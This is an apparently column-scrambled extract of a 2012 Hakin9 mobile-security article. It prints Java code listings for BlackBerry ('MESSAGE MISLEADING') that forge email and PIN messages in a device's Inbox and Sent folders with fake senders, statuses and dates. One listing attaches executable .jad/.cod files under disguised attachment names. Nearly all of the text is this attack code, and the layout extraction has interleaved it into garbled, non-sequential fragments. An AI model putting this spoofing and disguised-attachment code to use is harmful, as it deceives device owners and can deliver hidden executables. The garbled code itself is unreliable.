  21. 21. Mobile Security Listing 8b. MESSAGE MISLEADING if (tf.getText(). //MESSAGE BODY length() > 0) Address oaddress = //GET RECIPIENT PIN null; from fextfield try { { Dialog. oaddress alert(MisLeadSentPIN(tf. = new Address(“fake@ololo.com”, getText())); “trololo friend”); //PIN //SET A MESSAGE BUILDER NEW RECIPIENT } } } catch else if (field == checkpiButton) (AddressException e) { res += { e.getMessage(); } if (tf.getText(). length() > 0) res += //GET SENDER PIN MisLeadSentMessage(oaddress, from textfield omessage, odelivered); { //EMAIL MESSAGE Dialog. BUILDER alert(MisLeadInboxPIN(tf. Dialog.alert(“Result for you :: “ + res); getText())); } //PIN else if (field == checkiButton) MESSAGE BUIDLER { } String res = “”; } String imessage = else if (field == checkiaButton) “^_^”; { //MESSAGE BODY String res = “”; Address iaddress = String imessage = null; “^_^”; try //MESSAGE BODY { Address iaddress iaddress = null; = new Address(“fake@ololo.com”, try “trololo friend”); { // iaddress SENDER ADDRESS = new Address(“fake@ololo.com”, } “trololo friend”); catch // (AddressException e) { res += MESSAGE SENDER e.getMessage(); } } catch res += (AddressException e) { res += MisLeadInboxMessage(iaddress, e.getMessage(); } imessage); //EMAIL MESSAGE res += MisLeadInbo BUILDER xMessageAttach(iaddress, imessage); Dialog. //EMAIL MESSAGE alert(“Result for you :: “ + res); BUIDLER } Dialog.alert(“Result for you :: “ + res); else if (field == checkpoButton) } { } 76 04/2012
  22. 22. Listing 8c. MESSAGE MISLEADING message += e.getMessage(); } static String MisLeadSentMessage(Address oaddress, msg.setSentDate(new Date(System. String message, boolean delivered) currentTimeMillis())); //BUILDER OF SENT EMAIL MESSAGE // ADD NEW TIME { sentfolder.appendMessage(msg); String error_message = “”; // ADD NEW EMAIL MESSAGE TO SENT FOLDER Store store = Session. if (error_message.length() < 1) { error_ getDefaultInstance().getStore(); message = “no_error”; } Folder[] folders = store.list(Folder. return error_message; SENT); } // RETRIVE A SENT FOLDER Folder sentfolder = folders[0]; static String MisLeadInboxMessage(Address Message msg = new Message(sentfolder); fromAddress, String message) //CREATE a NEW MESSAGE IN SENT FOLDER //BUILDER OF RECEIVED EMAIL MESSAGE WITHOUT if (delivered) // CHECK DELIVERY STATUS ATTACHMENT { { msg.setStatus(Message.Status. String error_message = “”; TX_SENT, Message.Status.TX_SENT); Session session = null; } try else { { session = Session. msg.setStatus(Message.Status. waitForDefaultSession(); TX_ERROR, Message.Status.TX_ERROR); } msg.setFlag(Message.Flag. catch (NoSuchServiceException e) { error_ OPENED, true); message += e.getMessage(); } // SET READ STATUS } Store store = session.getStore(); try Folder[] folders = store.list(Folder. { INBOX); msg.addRecipient(Message. // RETRIVE AN INBOX FOLDER RecipientType.TO, oaddress); Folder inbox = folders[0]; // ADD RECIPIENT final Message msg = new Message(inbox); } //CREATE A NEW MESSAGE IN INBOX FOLDER catch (MessagingException e) { error_ try message += e.getMessage(); } { msg.setContent(message); msg.setSubject(“subject”); } // ADD SUBJECT TO EMAIL MESSAGES catch (NoSuchServiceException e) { error_ try message += e.getMessage(); } { msg.setSentDate(new Date()); msg.setFrom(fromAddress); // ADD NEW DATE //ADD A SENDER } msg.setStatus(Message.Status.RX_RECEIVED, catch (MessagingException e) { error_ Message.Status.RX_RECEIVED); message += e.getMessage(); } //ADD A RECEIVED STATUS msg.setSentDate(new Date(System. try currentTimeMillis())); { //ADD DATE’n’TIME msg.setContent(message); msg.setFlag(Message.Flag.REPLY_ALLOWED, // ADD BODY true); } msg.setInbound(true); catch (MessagingException e) { error_ msg.setSubject(“subject”);www.hakin9.org/en 77
  23. 23. Mobile Security Listing 8d. MESSAGE MISLEADING return err; //ADD A SUBJECT TO EMAIL MESSAGE } inbox.appendMessage(msg); //ADD EMAIL MESSAGE TO THE INBOX FOLDER static String MisLeadInboxPIN(String FakePIN) if (error_message.length() < 1) //BUILDER OF RECEIVED PIN MESSAGE { { error_message = “no_error”; String err = ““; } String error_message = “”; return error_message; Store store = Session. } getDefaultInstance().getStore(); Folder[] folders = store.list(Folder. static String MisLeadSentPIN(String FakePIN) INBOX); //BUILDER OF SENT PIN MESSAGE //RETRIEVE a PIN INBOX FOLDER { Folder inboxfolder = folders[0]; String err = “”; Message msg = new Message(inboxfolder); String error_message = “”; //CREATE A PIN MESSAGE IN THE INBOX Store store = Session. FOLDER getDefaultInstance().getStore(); PINAddress recipients[] = new Folder[] folders = store.list(Folder. PINAddress[1]; SENT); try //RETRIEVE a PIN SENT FOLDER { Folder sentfolder = folders[0]; recipients[0]= new Message msg = new Message(sentfolder); PINAddress(FakePIN, “Robert”); //CREATE A PIN MESSAGE IN THE SENT FOLDER //ADD RECIPIENT BY PIN and NAME PINAddress recipients[] = new } PINAddress[1]; catch (Exception e) { err += try e.getMessage(); } { try recipients[0]= new { PINAddress(FakePIN, “Robert”); msg.addRecipients(Message. //ADD RECIPIENT BY PIN and RecipientType.TO, recipients); NAME //ADD RECIPIENTS TO PIN STRUCTURE } msg.setSubject(“SUBJ”); catch (Exception e) { err += //ADD A SUBJECT e.getMessage(); } try msg.setContent(“BODY”); { //ADD A BODY msg.addRecipients(Message. msg.setStatus(Message.Status. RecipientType.TO, recipients); RX_RECEIVED, Message.Status.RX_ //ADD RECIPIENTS TO PIN RECEIVED); STRUCTURE //ADD A RECEIVED STATUS msg.setSubject(“SUBJ”); inboxfolder.appendMessage(msg); //ADD A SUBJECT //PUT MESSAGE INTO INBOX FOLDER msg.setContent(“BODY”); } //ADD A BODY catch (Exception e) { err += msg.setStatus(Message.Status. e.getMessage(); } TX_SENT, Message.Status.TX_SENT); return err; //ADD A SENT STATUS } sentfolder.appendMessage(msg); //PUT MESSAGE INTO SENT FOLDER static String MisLeadInboxMessageAttach(Address } fromAddress, String message) catch (Exception e) { err += //BUILDER OF RECEIVED EMAIL MESSAGE WITH ATTACHMENT e.getMessage(); } { 78 04/2012
  24. 24. Listing 8e. MESSAGE MISLEADING try String error_message = “”; { Session session = null; mtype try = MIMETypeAssociations. { getMIMEType(fullname1); session = Session. //ADD ATTACHMENT waitForDefaultSession(); WITH CORRECT FILE TYPE } } catch (NoSuchServiceException e) { error_ catch (Exception e) { error_ message += e.getMessage(); } message += e.getMessage(); } Store store = session.getStore(); } Folder[] folders = store.list(Folder. finally INBOX); { // RETRIVE AN INBOX FOLDER attach = new SupportedAttach Folder inbox = folders[0]; mentPart(multipart, mtype, “file- final Message msg = new Message(inbox); name-$$”, data); //CREATE A NEW MESSAGE IN INBOX FOLDER //ADD A FAKE ATTACHMENT NAME try } { msg.setContent(message); multipart.addBodyPart(attach); } data = readFile(fullname2); catch (MessagingException e) { error_ mtype = “”; message += e.getMessage(); } try msg.setFrom(fromAddress); { //ADD A SENDER try msg.setStatus(Message.Status.RX_RECEIVED, { Message.Status.RX_RECEIVED); mtype //ADD A RECEIVED STATUS = MIMETypeAssociations. msg.setSentDate(new Date(System. getMIMEType(fullname2); currentTimeMillis())); //ADD ATTACHMENT //ADD DATE’n’TIME WITH CORRECT FILE TYPE msg.setFlag(Message.Flag.REPLY_ALLOWED, } true); catch (Exception e) msg.setInbound(true); { msg.setSubject(“subject”); error_message += //ADD A SUBJECT TO EMAIL MESSAGE e.getMessage(); } String fullname1 = “file:///SDCard/bin/ } BlackBerryKit_1.jad”; finally String fullname2 = “file:///SDCard/bin/ { BlackBerryKit_1.cod”; attach = new SupportedAttach //SET PATH OF EXECUTION FILE mentPart(multipart, mtype, “file- name-$$$”, data); byte[] data = new byte[256]; //ADD A FAKE ATTACHMENT NAME data = readFile(fullname1); } //CALL YOUR OWN READ METHOD TO GET ATTACHMENT DATA multipart.addBodyPart(attach); Multipart multipart = new Multipart(); try SupportedAttachmentPart attach = null; { String mtype = “”; msg.setContent(multipart); try } { catch (MessagingException e)www.hakin9.org/en 79